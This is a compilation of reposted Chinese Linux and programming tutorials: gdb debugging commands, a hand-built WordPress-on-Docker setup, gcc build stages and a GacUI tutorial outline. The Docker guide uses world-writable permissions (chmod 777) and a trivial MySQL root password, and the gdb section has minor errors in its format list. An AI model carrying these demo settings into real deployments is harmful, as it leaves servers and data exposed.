在这个教程中，我展示了如何使用chattr和lsattr命令来管理额外的文件标志位，来避免文件被篡改（意外或者其他情况）的方法。注意你不能将chattr作为一个安全措施，因为“不可变更”标志位可以很容易被取消掉。解决这个问题的一个可能的方式是限制chattr命令自身的可用性，或者去掉CAP_LINUX_IMMUTABLE内核权能标志。关于chattr以及可用的标志位的更多细节，请参考它的man手册。




via: http://xmodulo.com/make-file-immutable-linux.html


作者：Dan Nanni

译者：goreliu

校对：wxy


本文由 LCTT 原创翻译，Linux中国 荣誉推出


 -Linux gdb调试器用法全面解析 
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转载自：Linux gdb调试器用法全面解析 

GDB是GNU开源组织发布的一个强大的UNIX下的程序调试工具，GDB主要可帮助工程师完成下面4个方面的功能：


	启动程序，可以按照工程师自定义的要求随心所欲的运行程序。


	让被调试的程序在工程师指定的断点处停住，断点可以是条件表达式。


	当程序被停住时，可以检查此时程序中所发生的事，并追索上文。


	动态地改变程序的执行环境。




不管是调试Linux内核空间的驱动还是调试用户空间的应用程序，掌握gdb的用法都是必须。而且，调试内核和调试应用程序时使用的gdb命令是完全相同的，下面以代码清单22.2的应用程序为例演示gdb调试器的用法。

1  int add(int a, int b)  
2  {  
3    return a + b;  
4  }  
5    
6  main()  
7  {  
8    int sum[10] =   
9    {  
10     0, 0, 0, 0, 0, 0, 0, 0, 0, 0       
11   }  ;  
12   int i;  
13     
14   int array1[10] =  
15   {  
16     48, 56, 77, 33, 33, 11, 226, 544, 78, 90  
17   };  
18   int array2[10] =  
19   {  
20     85, 99, 66, 0x199, 393, 11, 1, 2, 3, 4  
21   };  
22   
23   for (i = 0; i < 10; i++)  
24   {  
25     sum[i] = add(array1[i], array2[i]);  
26   }  
27 }  


使用命令gcc –g gdb_example.c –o gdb_example编译上述程序，得到包含调试信息的二进制文件example，执行gdb gdb_example命令进入调试状态：

[root@localhost driver_study]# gdb gdb_example  
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)  
Copyright 2003 Free Software Foundation, Inc.  
GDB is free software, covered by the GNU General Public License, and you are  
welcome to change it and/or distribute copies of it under certain conditions.  
Type "show copying" to see the conditions.  
There is absolutely no warranty for GDB.  Type "show warranty" for details.  
This GDB was configured as "i386-redhat-linux-gnu"...  
(gdb)  


list命令

在gdb中运行list命令（缩写l）可以列出代码，list的具体形式包括：

	list <linenum> ，显示程序第linenum行周围的源程序，如：




    (gdb) list 15  
    10          
    11        int array1[10] =  
    12        {  
    13          48, 56, 77, 33, 33, 11, 226, 544, 78, 90  
    14        };  
    15        int array2[10] =  
    16        {  
    17          85, 99, 66, 0x199, 393, 11, 1, 2, 3, 4  
    18        };  
    19  

	list <function>，显示函数名为function的函数的源程序，如：




    (gdb) list main  
    2       {  
    3         return a + b;  
    4       }  
    5  
    6       main()  
    7       {  
    8         int sum[10];  
    9         int i;  
    10          
    11        int array1[10] =  


	list，显示当前行后面的源程序。


	list - ，显示当前行前面的源程序。




下面演示了使用gdb中的run（缩写r）、break（缩写b）、next（缩写n）命令控制程序的运行，并使用print（缩写p）命令打印程序中的变量sum的过程：

(gdb) break add
Breakpoint 1 at 0x80482f7: file gdb_example.c, line 3.
(gdb) run  
Starting program: /driver_study/gdb_example 

Breakpoint 1, add (a=48, b=85) at gdb_example.c:3
warning: Source file is more recent than executable.

3         return a + b;
(gdb) next
4       }
(gdb) next
main () at gdb_example.c:23
23        for (i = 0; i < 10; i++)
(gdb) next
25          sum[i] = add(array1[i], array2[i]);
(gdb) print sum
$1 = {133, 0, 0, 0, 0, 0, 0, 0, 0, 0}


run命令

在gdb中，运行程序使用run命令。在程序运行前，我们可以设置如下4方面的工作环境：

	程序运行参数




set args 可指定运行时参数，如：set args 10 20 30 40 50；show args 命令可以查看设置好的运行参数。

	运行环境




path <dir> 可设定程序的运行路径；how paths可查看程序的运行路径；set environment varname [=value]用于设置环境变量，如set env USER=baohua；

show environment [varname]则用于查看环境变量。

	工作目录




cd <dir> 相当于shell的cd命令；pwd 显示当前所在的目录。

	程序的输入输出




info terminal 用于显示程序用到的终端的模式；gdb中也可以使用重定向控制程序输出，如run > outfile；

tty命令可以指定输入输出的终端设备，如：tty /dev/ttyS1。

break命令

在gdb中用break命令来设置断点，设置断点的方法包括：

	break <function>




在进入指定函数时停住，C++中可以使用class::function或function(type, type)格式来指定函数名。

	break <linenum> 




在指定行号停住。

	break +offset / break -offset




在当前行号的前面或后面的offset行停住，offiset为自然数。

	break filename:linenum




在源文件filename的linenum行处停住。

	break filename:function




在源文件filename的function函数的入口处停住。

	break *address




在程序运行的内存地址处停住。

	break




break命令没有参数时，表示在下一条指令处停住。

	break ... if <condition>




“...”可以是上述的break <linenum>、break +offset、break –offset中的参数，condition表示条件，在条件成立时停住。比如在循环体中，可以设置break if i=100，表示当i为100时停住程序。

查看断点时，可使用info命令，如info breakpoints [n]、info break [n]（n表示断点号）。

单步命令

在调试过程中，next命令用于单步执行，类似VC++中的step over。next的单步不会进入函数的内部，与next对应的step（缩写s）命令则在单步执行一个函数时，会进入其内部，类似VC++中的step into。下面演示了step命令的执行情况，在23行的add()函数调用处执行step会进入其内部的“return a+b;”语句：

(gdb) break 25  
Breakpoint 1 at 0x8048362: file gdb_example.c, line 25.  
(gdb) run  
Starting program: /driver_study/gdb_example   
  
Breakpoint 1, main () at gdb_example.c:25  
25          sum[i] = add(array1[i], array2[i]);  
(gdb) step  
add (a=48, b=85) at gdb_example.c:3  
3         return a + b;  


单步执行的更复杂用法包括：

	step <count>




单步跟踪，如果有函数调用，则进入该函数（进入函数的前提是，此函数被编译有debug信息）。step后面不加count表示一条条地执行，加表示执行后面的count条指令，然后再停住。

	next <count>




单步跟踪，如果有函数调用，它不会进入该函数。同样地，next后面不加count表示一条条地执行，加表示执行后面的count条指令，然后再停住。

	set step-mode




set step-mode on用于打开step-mode模式，这样，在进行单步跟踪时，程序不会因为没有debug信息而不停住，这个参数的设置可便于查看机器码。set step-mod off用于关闭step-mode模式。

	finish




运行程序，直到当前函数完成返回，并打印函数返回时的堆栈地址和返回值及参数值等信息。

	until （缩写u）




一直在循环体内执行单步，退不出来是一件令人烦恼的事情，until命令可以运行程序直到退出循环体。

	stepi（缩写si）和nexti（缩写ni）




stepi和nexti用于单步跟踪一条机器指令，一条程序代码有可能由数条机器指令完成，stepi和nexti可以单步执行机器指令。 另外，运行“display/i $pc”命令后，单步跟踪会在打出程序代码的同时打出机器指令，即汇编代码。

continue命令

当程序被停住后，可以使用continue命令（缩写c，fg命令同continue命令）恢复程序的运行直到程序结束，或到达下一个断点，命令格式为：

continue [ignore-count]  
c [ignore-count]  
fg [ignore-count]  


ignore-count表示忽略其后多少次断点。 假设我们设置了函数断点add()，并watch i，则在continue过程中，每次遇到add()函数或i发生变化，程序就会停住，如：

(gdb) continue  
Continuing.  
Hardware watchpoint 3: i  
  
Old value = 2  
New value = 3  
0x0804838d in main () at gdb_example.c:23  
23        for (i = 0; i < 10; i++)  
(gdb) continue  
Continuing.  
  
Breakpoint 1, main () at gdb_example.c:25  
25          sum[i] = add(array1[i], array2[i]);  
(gdb) continue  
Continuing.  
Hardware watchpoint 3: i  
  
Old value = 3  
New value = 4  
0x0804838d in main () at gdb_example.c:23  
23        for (i = 0; i < 10; i++)  


print命令

在调试程序时，当程序被停住时，可以使用print命令（缩写为p），或是同义命令inspect来查看当前程序的运行数据。print命令的格式是：

print <expr>  
print /<f> <expr>  


<expr>是表达式，是被调试的程序中的表达式，<f>是输出的格式，比如，如果要把表达式按16进制的格式输出，那么就是/x。在表达式中，有几种GDB所支持的操作符，它们可以用在任何一种语言中，“@”是一个和数组有关的操作符，“::”指定一个在文件或是函数中的变量，“{<type>} <addr>”表示一个指向内存地址<addr>的类型为type的一个对象。

下面演示了查看sum[]数组的值的过程：

(gdb) print sum  
$2 = {133, 155, 0, 0, 0, 0, 0, 0, 0, 0}  
(gdb) next  
  
Breakpoint 1, main () at gdb_example.c:25  
25          sum[i] = add(array1[i], array2[i]);  
(gdb) next  
23        for (i = 0; i < 10; i++)  
(gdb) print sum  
$3 = {133, 155, 143, 0, 0, 0, 0, 0, 0, 0}  


当需要查看一段连续内存空间的值的时间，可以使用GDB的“@”操作符，“@”的左边是第一个内存地址，“@”的右边则是想查看内存的长度。例如如下动态申请的内存：

int *array = (int *) malloc (len * sizeof (int));


在GDB调试过程中这样显示出这个动态数组的值：p *array@len

print的输出格式包括：


	x 按十六进制格式显示变量。


	d 按十进制格式显示变量。


	u 按十六进制格式显示无符号整型。


	o 按八进制格式显示变量。


	t 按二进制格式显示变量。


	a 按十六进制格式显示变量。


	c 按字符格式显示变量。


	f 按浮点数格式显示变量。




我们可用display命令设置一些自动显示的变量，当程序停住时，或是单步跟踪时，这些变量会自动显示。 如果要修改变量，如x的值，可使用如下命令：print x=4

当用GDB的print查看程序运行时的数据时，每一个print都会被GDB记录下来。GDB会以$1，$2，$3 …这样的方式为每一个print命令编号。我们可以使用这个编号访问以前的表达式，如$1。

watch命令

watch一般来观察某个表达式（变量也是一种表达式）的值是否有变化了，如果有变化，马上停住程序。我们有下面的几种方法来设置观察点：


	watch <expr>：为表达式（变量）expr设置一个观察点。一量表达式值有变化时，马上停住程序。


	rwatch <expr>：当表达式（变量）expr被读时，停住程序。


	awatch <expr>：当表达式（变量）的值被读或被写时，停住程序。info watchpoints：列出当前所设置了的所有观察点。




下面演示了观察i并在连续运行next时一旦发现i变化，i值就会显示出来的过程：

(gdb) watch i  
Hardware watchpoint 3: i  
(gdb) next  
23        for (i = 0; i < 10; i++)  
(gdb) next  
Hardware watchpoint 3: i  
  
Old value = 0  
New value = 1  
0x0804838d in main () at gdb_example.c:23  
23        for (i = 0; i < 10; i++)  
(gdb) next  
  
Breakpoint 1, main () at gdb_example.c:25  
25          sum[i] = add(array1[i], array2[i]);  
(gdb) next  
23        for (i = 0; i < 10; i++)  
(gdb) next  
Hardware watchpoint 3: i  
  
Old value = 1  
New value = 2  
0x0804838d in main () at gdb_example.c:23  
23        for (i = 0; i < 10; i++)  


examine命令

我们可以使用examine命令（缩写为x）来查看内存地址中的值。examine命令的语法如下所示：

x/<n/f/u> <addr> 

<addr>表示一个内存地址。“x/”后的n、f、u都是可选的参数，n 是一个正整数，表示显示内存的长度，也就是说从当前地址向后显示几个地址的内容；f 表示显示的格式，如果地址所指的是字符串，那么格式可以是s，如果地址是指令地址，那么格式可以是i；u 表示从当前地址往后请求的字节数，如果不指定的话，GDB默认是4字节。u参数可以被一些字符代替：b表示单字节，h表示双字节，w表示四字节，g表示八字节。当我们指定了字节长度后，GDB会从指定的内存地址开始，读写指定字节，并把其当作一个值取出来。n、f、u这3个参数可以一起使用，例如命令“x/3uh 0x54320”表示从内存地址0x54320开始以双字节为1个单位（h）、16进制方式（u）显示3个单位（3）的内存。 ==

譬如下面的例子：

main()  
{  
        char *c = "hello world";  
        printf("%s\n", c);  
}  


我们在

char *c = "hello world";  


下一行设置断点后：

(gdb) l  
1    main()  
2    {  
3        char *c = "hello world";  
4        printf("%s\n", c);  
5    }  
(gdb) b 4  
Breakpoint 1 at 0x100000f17: file main.c, line 4.  
(gdb) r  
Starting program: /Users/songbarry/main  
Reading symbols for shared libraries +. done  
  
Breakpoint 1, main () at main.c:4  
4        printf("%s\n", c);  


可以通过多种方式看C指向的字符串：


	
方法1：

(gdb) p c  
$1 = 0x100000f2e "hello world"  




	
方法2：

(gdb) x/s 0x100000f2e  
0x100000f2e:     "hello world"  




	
方法3：

(gdb) p (char *)0x100000f2e  
$3 = 0x100000f2e "hello world"  




	
将第一个字符改为大写：

(gdb) p *(char *)0x100000f2e='H'  
$4 = 72 'H'  




	
再看看C：

(gdb) p c  
$5 = 0x100000f2e "Hello world"  






set命令


	
修改寄存器：

(gdb) set $v0 = 0x004000000  
(gdb) set $epc = 0xbfc00000   




	
修改内存：

(gdb) set {unsigned int}0x8048a51=0x0  




	
譬如对于第8节的例子：

(gdb) set {unsigned int}0x100000f2e=0x0         
(gdb) x/10cb 0x100000f2e  
0x100000f2e:    0 '\0'  0 '\0'  0 '\0'  0 '\0'  111 'o' 32 ' '  119 'w' 111 'o'  
0x100000f36:    114 'r' 108 'l'  
(gdb) p c  
$10 = 0x100000f2e ""  






jump命令

一般来说，被调试程序会按照程序代码的运行顺序依次执行，但是GDB也提供了乱序执行的功能，也就是说，GDB可以修改程序的执行顺序，从而让程序随意跳跃。这个功能可以由GDB的jump命令：jump <linespec> 来指定下一条语句的运行点。<linespec>可以是文件的行号，可以是file:line格式，也可以是+num这种偏移量格式，表示下一条运行语句从哪里开始。jump <address> 这里的<address>是代码行的内存地址。 注意，jump命令不会改变当前的程序栈中的内容，所以，如果使用jump从一个函数跳转到另一个函数，当跳转到的函数运行完返回，进行出栈操作时必然会发生错误，这可能导致意想不到的结果，所以最好只用jump在同一个函数中进行跳转。

signal命令

使用singal命令，可以产生一个信号量给被调试的程序，如中断信号“Ctrl+C”。这非常方便于程序的调试，可以在程序运行的任意位置设置断点，并在该断点用GDB产生一个信号量，这种精确地在某处产生信号的方法非常有利于程序的调试。 signal命令的语法是：signal <signal>，UNIX的系统信号量通常从1到15，所以<signal>取值也在这个范围。

return命令

如果在函数中设置了调试断点，在断点后还有语句没有执行完，这时候我们可以使用return命令强制函数忽略还没有执行的语句并返回。

return  
return <expression>  


上述return命令用于取消当前函数的执行，并立即返回，如果指定了<expression>，那么该表达式的值会被作为函数的返回值。

call命令

call命令用于强制调用某函数： call <expr> 表达式中可以一是函数，以此达到强制调用函数的目的，它会显示函数的返回值（如果函数返回值不是void）。 其实，前面介绍的print命令也可以完成强制调用函数的功能。

info命令

info命令可以在调试时用来查看寄存器、断点、观察点和信号等信息。要查看寄存器的值，可以使用如下命令：


	info registers （查看除了浮点寄存器以外的寄存器）


	info all-registers （查看所有寄存器，包括浮点寄存器）


	info registers <regname ...> （查看所指定的寄存器）




要查看断点信息，可以使用如下命令：


	info break 列出当前所设置的所有观察点


	使用如下命令：info watchpoints 查看有哪些信号正在被GDB检测


	使用如下命令：info signals info handle 也可以使用info line命令来查看源代码在内存中的地址。


	
info threads可以看多线程。info line后面可以跟行号、函数名、文件名:行号、文件名:函数名等多种形式，例如下面的命令会打印出所指定的源码在运行时的内存地址：

info line tst.c:func





set scheduler-locking off|on|step


	off 不锁定任何线程，也就是所有线程都执行，这是默认值。


	on 只有当前被调试程序会执行。


	step 在单步的时候，除了next过一个函数的情况以外，只有当前线程会执行。




与多线程调试相关的命令还包括：


	thread ID，切换当前调试的线程为指定ID的线程。


	break thread_test.c:123 thread all，在所有线程中相应的行上设置断点


	thread apply ID1 ID2 command，让一个或者多个线程执行GDB命令command。


	thread apply all command，让所有被调试线程执行GDB命令command。




disassemble

disassemble命令用于反汇编，它可被用来查看当前执行时的源代码的机器码，其实际上只是把目前内存中的指令dump出来。下面的示例用于查看函数func的汇编代码：

(gdb) disassemble func  
Dump of assembler code for function func:  
0x8048450 <func>:       push   %ebp  
0x8048451 <func+1>:     mov    %esp,%ebp  
0x8048453 <func+3>:     sub    $0x18,%esp  
0x8048456 <func+6>:     movl   $0x0,0xfffffffc(%ebp)  
...  
End of assembler dump.  



 手动构建 WordPress 的 Docker 容器

作者：大舒

来源： 手动构建 WordPress 的 Docker 容器



                    

  原文来自 How to Manually Build Docker Containers for WordPress




前中本专栏已经介绍过 Docker 的基础知识，本文开始进行 Docker 实战：手动使用 Docker 构建 WordPress 容器。同时介绍一下 Docker 官方 MySQL 镜像的爬坑方法，同时演示 Docker 生产中常见的问题以及解决办法。


在我以前的文章中，我们已经介绍了 Docker 的基础知识和基础命令。当然，虽然我们已经介绍了这些知识，我们还没有使用它们做出有价值的东西。构建 WordPress 的 Docker 容器有多种方法，本文将会介绍手动构建容器。如果你还没有认识 Docker，可以戳这里。


设置 MySQL


数据库是 WordPress 的基础，本文使用 Docker Hub 来获取 MySQL 镜像。


Docker 官方已经构建了 MySQL 镜像。在使用 MySQL 镜像之前，请先读镜像手册。在写本文时，镜像的最新版本是 5.7。





按照通常的方法，使用 MySQL 镜像的方法如下：


docker run --name wordpressdb -d mysql:5.7






执行这条命令的时候，如果本机没有 MySQL 镜像，那么 Docker 会从 Docker Pull 先下载镜像。使用 --name 参数指定容器运行时的名字，使用 -d 参数指定再后台运行。


使用 docker ps 命令可以发现，并没有名叫 wordpressdb 的容器在后台运行，但是不应该这样啊。使用 docker logs wordpressdb 查看镜像日志：


error: database is uninitialized and MYSQL_ROOT_PASSWORD not set
  Did you forget to add -e MYSQL_ROOT_PASSWORD=... ?



那么问题出在哪儿？


我们运行了 MySQL，但是没有指明数据库的 root 密码，所以容器并不能运行。所以为了修正这个错误，我们需要删除容器 wordpressdb，然后重新建立容器。Docker 不允许两个容器使用相同的名字。


再次运行容器的时候我们用 -e 参数指定容器内的环境变量MYSQL_ROOT_PASSWORD:


docker run --name wordpressdb -e MYSQL_ROOT_PASSWORD=password -d mysql:5.7



再次运行 docker logs wordpressdb 的时候，我们会看到非常长的信息。实际上 MySQL 容器已经在后台运行了，运行 docker ps 也可以看到正在运行的容器 wordpressdb。


当然你也可以使用 MYSQL_DATABASE 参数指定运行容器之前就创建名为 wordpress 的数据库：


docker run --name wordpressdb -e MYSQL_ROOT_PASSWORD=password -e MYSQL_DATABASE=wordpress -d mysql:5.7



当然，MySQL 数据库还有其他的参数，例如指定创建用户和密码。当然，更多的用法就需要参考他们 官方的文档 了。


容器的 IP 会随启动而变化，需要使用 docker inspect --format='{{.NetworkSettings.IPAddress}}' wordpressdb 获取容器的 IP。


当然，Dockerfile 中有很多的容器构建信息。MySQL 基于 debian wheezy 镜像构建，然后启动 mysqld 命令。当使用这个容器的时候，其实只启动了 mysqld 命令。





现在我们已经有了 MySQL 容器，用户名 root，密码 password，数据库名称 wordpress。下一步就是构建 WordPress 了。


构建 WorePress 容器


这一步我们使用PHP 镜像，PHP 镜像镜像也有很多，我们使用官方提供的带有 Apache 的 php 镜像。


docker run --name wordpress php:5.6-apache



不加 -d 参数，容器便会在前台运行，也能看到应该由 docker logs 输出的数据。


使用 docker inspect --format='{{.NetworkSettings.IPAddress}}' wordpress 命令获取 wordpress 容器的 IP。本文是 172.17.0.35。


如果你直接访问这个 IP，会得到一个 403 的错误。因为容器中的网站目录在 /var/www/html，但是实际上目录中没有东西，所以 403 forbidden。


那么怎么将文件放入容器的那个文件夹？

第一步：宿主机创建文件夹，然后进入文件夹。

第二部：进入这个文件夹，创建 index.php 文件，文件内容是 <?php phpinfo(); ?>

第三部：使用命令启动容器：docker run --name wordpress -v "$PWD/":/var/www/html php:5.6-apache。


这样访问 wordpress 容器的 IP（因为是新容器，所以 IP 有变化），便会得到经典的 phpinfo 页面。


测试完成，我们的容器可以执行 php 文件。


将 wordpress 文件放入本文件夹，chmod 777，然后重新启动 wordpress 容器，但是会这么提示：


您的PHP似乎没有安装运行WordPress所必需的MySQL扩展。



官方 php 镜像并未提供 mysql 扩展，所以我们必须要自己手动写 Dockerfile 安装扩展：


FROM php:5.6-apache
# 使用 php:5.6-apache 镜像
RUN docker-php-ext-install mysqli
# 使用 docker-php-ext-install 命令安装 mysqli 扩展
CMD ["apache2-foreground"]
# 默认启动 apache2-foreground 命令



然后我们构建这个镜像，镜像名为 phpwithmysql。


docker build -t phpwithmysql .



-t 参数指定构建出的镜像的名称。. 表示使用本目录的 Dockerfile。


构建完成，便会得 phpwithmysql 镜像，tag 名为 latest。


再次启动 WordPress：


docker run --name wordpress -v "$PWD/":/var/www/html phpwithmysql



这次再使用 IP 访问你的 wordpress：





走到这一步，大部分的事情我们都做的差不多了，只有一个问题：

万一重启 wordpressdb 容器，数据库容器的 IP 变了怎么办？


Docker 提供了连接参数，让我们可以将一个容器连接到另一个容器。


docker run --name wordpress --link wordpressdb:mysql -v "$PWD/":/var/www/html phpwithmysql



新参数是 --link，作用是将 wordpressdb 连接到 wordpress 容器内，具体为在 wordpress 容器内的 hosts 文件中增加 mysql 172.17.0.X。
172.17.0.X 为 wordpressdb 的 IP。

除此之外，还会修改 wordpress 的环境变量。


因此，安装的时候只需指定数据库主机为 mysql 即可。





但是还有点蛋疼的问题：


wordpress 并不能上传文件，也不能安装主题。因为 wordpress 容器内的 apache 对文件系统没有写权限，所以我们还得调整 phpwithmysql 镜像的 Dockerfile：


FROM php:5.6-apache
RUN docker-php-ext-install mysqli
COPY entrypoint.sh /entrypoint.sh 
RUN chmod 777 /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]
CMD ["apache2-foreground"]



接下来创建 encrypting.sh 文件：


#!/bin/bash
chown -R www-data:www-data .
exec "$@"



这是官方 WordPress 镜像构建方法的简化版，但是已经解决了文件系统的写权限问题。

现在构建新的镜像：


docker build -t phpwithmysql:v2 .



删除旧容器并重启：


docker rm -f wordpress
docker rm -f wordpressdb
docker run --name wordpressdb -e MYSQL_ROOT_PASSWORD=password -e MYSQL_DATABASE=wordpress -d mysql:5.7
docker run --name wordpress --link wordpressdb:mysql -v "$PWD/":/var/www/html phpwithmysql:v2



最后，删除 wp-config.php 文件。


这一次访问 wordpress 的 IP，重新安装 WordPress，便可构建完成。


构建过程可能有些麻烦，所以 WordPress 有官方的各种语言的 Docker 镜像。Docker 不允许容器内的应用对宿主机文件系统有写权限，这到底是好是坏？我觉得应该是好事。我们可以创立一个数据容器专门负责放文件，这样可以实现架构的多样化。但是对于现有架构的应用例如 WordPress，我们只能如此变通。


最终调整


最后一步大概很多人猜得到，就是万一关机了怎么办？wordpress 容器 IP 变化了怎么办？要知道，WordPress 没有配置的情况下爱，是使用 IP 保存站点 URL 的，所以我们必须要这样修改 wp-config.php 文件：


define('WP_HOME',$_SERVER['SERVER_ADDR']);
define('WP_SITEURL',$_SERVER['SERVER_ADDR']);



要注意的是，在 wp-config.php 文件中改变的设置，是无法再在 WordPress 的仪表盘中再改动的。


结论


本文中我们手动使用 Docker 构建了 WordPress 镜像，但是使用了一个非常曲折的方法。当然，还有更简便的方法，因为 Docker 官方已经构建了 WordPress 镜像。有了官方镜像，我们手动构建的镜像其实意义不大了。不过，通过调试，我们演示了 Docker 可能出现的常见问题，例如 IP 变化，以及解决办法（--link）等。


 -gcc常用命令

作者：xumenger

来源： -gcc常用命令



                    
简介

GCC 的意思也只是 GNU C Compiler 而已。经过了这么多年的发展，GCC 已经不仅仅能支持 C 语言；它现在还支持 Ada 语言、C++ 语言、Java 语言、Objective C 语言、Pascal 语言、COBOL语言，以及支持函数式编程和逻辑编程的 Mercury 语言，等等。而 GCC 也不再单只是 GNU C 语言编译器的意思了，而是变成了 GNU Compiler Collection 也即是 GNU 编译器家族的意思了。另一方面，说到 GCC 对于操作系统平台及硬件平台支持，概括起来就是一句话：无所不在。

简单编译

示例程序如下：

//test.c
#include <stdio.h>
int main(void)
{
    printf("Hello World!\n");
    return 0;
}


这个程序，一步到位的编译指令是:

gcc test.c -o test



再通过在命令行输入 ./test 就可以执行编译后的程序

实质上，上述编译过程是分为四个阶段进行的，即预处理(也称预编译，Preprocessing)、编译(Compilation)、汇编 (Assembly)和连接(Linking)。

预处理

gcc -E test.c -o test.i 或 gcc -E test.c



可以输出test.i文件中存放着 test.c 经预处理之后的代码。打开 test.i 文件，看一看，就明白了。后面那条指令，是直接在命令行窗口中输出预处理后的代码.

gcc 的-E 选项，可以让编译器在预处理后停止，并输出预处理结果。在本例中，预处理结果就是将stdio.h 文件中的内容插入到test.c中了。

编译为汇编代码(Compilation)

预处理之后，可直接对生成的 test.i 文件编译，生成汇编代码：

gcc -S test.i -o test.s



gcc的-S选项，表示在程序编译期间，在生成汇编代码后，停止，-o 输出汇编代码文件。

汇编(Assembly)

对于上一小节中生成的汇编代码文件 test.s，gas 汇编器负责将其编译为目标文件，如下：

gcc -c test.s -o test.o



连接(Linking)

gcc连接器是gas 提供的，负责将程序的目标文件与所需的所有附加的目标文件连接起来，最终生成可执行文件。附加的目标文件包括静态连接库和动态连接库。

对于上一小节中生成的 test.o，将其与Ｃ标准输入输出库进行连接，最终生成程序test

gcc test.o -o test



在命令行窗口中，执行./test, 让它说 HelloWorld 吧！

多个程序文件的编译

通常整个程序是由多个源文件组成的，相应地也就形成了多个编译单元，使用GCC 能够很好地管理这些编译单元。假设有一个由test1.c 和 test2.c 两个源文件组成的程序，为了对它们进行编译，并最终生成可执行程序test，可以使用下面这条命令：

.gcc test1.c test2.c -o test

如果同时处理的文件不止一个，GCC 仍然会按照预处理、编译和链接的过程依次进行。如果深究起来，上面这条命令大致相当于依次执行如下三条命令：

gcc -c test1.c -o test1.o
gcc -c test2.c -o test2.o
gcc test1.o test2.o -o test



检错

gcc -pedantic illcode.c -o illcode



-pedantic编译选项并不能保证被编译程序与ANSI/ISO C标准的完全兼容，它仅仅只能用来帮助Linux程序员离这个目标越来越近。或者换句话说，-pedantic 选项能够帮助程序员发现一些不符合 ANSI/ISO C 标准的代码，但不是全部，事实上只有ANSI/ISO C 语言标准中要求进行编译器诊断的那些情况，才有可能被GCC 发现并提出警告。

除了-pedantic 之外，GCC还有一些其它编译选项也能够产生有用的警告信息。这些选项大多以-W 开头，其中最有价值的当数-Wall 了，使用它能够使GCC 产生尽可能多的警告信息。

gcc -Wall illcode.c -o illcode



GCC 给出的警告信息虽然从严格意义上说不能算作错误，但却很可能成为错误的栖身之所。一个优秀的Linux 程序员应该尽量避免产生警告信息，使自 己的代码始终保持标准、健壮的特性。所以将警告信息当成编码错误来对待，是一种值得赞扬的行为！所以，在编译程序时带上-Werror选项，那么GCC 会在所有产生警告的地方停止编译，迫使程序员对自己的代码进行修改，如下：

gcc -Werror test.c -o test



库文件连接

开发软件时，完全不使用第三方函数库的情况是比较少见的，通常来讲都需要借助许多函数库的支持才能够完成相应的功能。从程序员的角度看，函数库实际 上就是一些头文件（.h）和库文件（so、或lib、dll）的集合。。虽然Linux下的大多数函数都默认将头文件放到/usr/include/目录 下，而库文件则放到/usr/lib/ 目录下；Windows 所使用的库文件主要放在Visual Stido的目录下的include和lib，以及系统文件夹下。但也有的时候，我们要用的库不再这些目录下，所以GCC在编译时必须用自己的办法来查找 所需要的头文件和库文件。

例如我们的程序test.c 是在linux上使用c 连接mysql ，这个时候我们需要去mysql官网下载MySQL Connectors 的C 库，下载下来解压之后，有一个include 文件夹，里面包含mysql connectors 的头文件，还有一个lib 文件夹，里面包含二进制so文件libmysqlclient.so

其中inclulde 文件夹的路径是/usr/dev/mysql/include,lib文件夹是 /usr/dev/mysql/lib

编译成可执行文件

首先我们要进行编译 test.c 为目标文件，这个时候需要执行

gcc –c –I /usr/dev/mysql/include test.c –o test.o



链接

最后我们把所有目标文件链接成可执行文件:

gcc –L /usr/dev/mysql/lib –lmysqlclient test.o –o test



Linux下的库文件分为两大类分别是动态链接库（通常以.so 结尾）和静态链接库（通常以.a 结尾），二者的区别仅在于程序执行时所需的代码是在运行时动态加载的，还是在编译时静态加载的。

强制链接时使用静态链接库

默认情况下， GCC在链接时优先使用动态链接库，只有当动态链接库不存在时才考虑使用静态链接库，如果需要的话可以在编译时加上-static 选项，强制使用静态链接库。

在/usr/dev/mysql/lib 目录下有链接时所需要的库文件libmysqlclient.so和libmysqlclient.a，为了让GCC 在链接时只用到静态链接库，可以使用下面的命令:

gcc –L /usr/dev/mysql/lib –static –lmysqlclient test.o –o test



静态库链接时搜索路径顺序


	ld会去找GCC 命令中的参数-L


	再找gcc 的环境变量LIBRARY_PATH


	再找内定目录 /lib /usr/lib /usr/local/lib 这是当初compile gcc 时写在程序内的




动态链接时,执行时搜索路径顺序


	编译目标代码时指定的动态库搜索路径


	环境变量LD_LIBRARY_PATH 指定的动态库搜索路径


	配置文件/etc/ld.so.conf 中指定的动态库搜索路径


	默认的动态库搜索路径/lib


	默认的动态库搜索路径/usr/lib




有关环境变量

LIBRARY_PATH环境变量：指定程序静态链接库文件搜索路径
LD_LIBRARY_PATH环境变量：指定程序动态链接库文件搜索路径
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 GacUI的中文教程就写在这里了

作者：vczh

来源： GacUI的中文教程就写在这里了



                    
随着GacUI（https://github.com/vczh-libraries）的进一步完善，我觉得是时候来写写教程了。最近开了一个群，有那么一些用户觉得Tutorial的几个vcxproj和GacUI网站的类型参考（http://www.gaclib.net/Document.html#~/）不够用，所以经常有这样的呼声。之前之所以一直没有写，是因为内部的设计还在不断的变动。现在看来应该完全定下来了，可以写了。

目前我想到的内容有


	
GacUI基本概念


	如何创建GacUI工程


	什么是Element （基本图元）


	什么是Composition （排版）


	什么是Control


	什么是Template


	如何确定对象的生命周期






	
GacUI资源文件


	GacUI资源文件生成二进制资源和C++代码的基本概念


	使用Workflow脚本引擎定义接口、数据结构和表达式


	创建窗口


	创建控件


	创建皮肤（Template）


	普通控件的数据绑定


	列表控件的数据绑定


	列表控件的列表项皮肤（ItemTemplate）






	
GacUI开发模式


	MVVM


	数据绑定


	异步操作


	动画


	状态机






	
GacUI扩展


	如何写新的Element


	如何写新的Composition


	
如何写新的Control


	Control的表示和逻辑分离


	Control的皮肤接口的定义


	如何创建满足皮肤接口定义的Template


	如何让自己的控件能被反射 （从而可以让GacUI资源文件使用）


	如何给GacUI的XML资源添加新的功能






	如何写把GacUI移植到新的绘图API上


	如何把GacUI移植到新的操作系统上






	GacUI架构与内幕




目前想到的就是这些。如果你们有什么想要了解的内容，可以来留言。如果我采纳了，那将来就会一并介绍出来。


 GacUI基本概念（一）

作者：vczh

来源： GacUI基本概念（一）



                    
本来是想从如何建立GacUI的VC++工程开始写的，不过最近网友普遍反映，怎么建工程都能从 Tutorial 里面看明白，就打算说到GacUI的XML资源怎么编译的时候在顺带讲一下。今天主要说的是GacUI的体系架构。

在构造一个GacUI工程的时候， CppXml 和 MVVM 是两个推荐的Hello World参考项目。虽然还有一些其他的方法，但那并不是使用GacUI的正确方法，那些Demo只是为了添加知识做出来的。

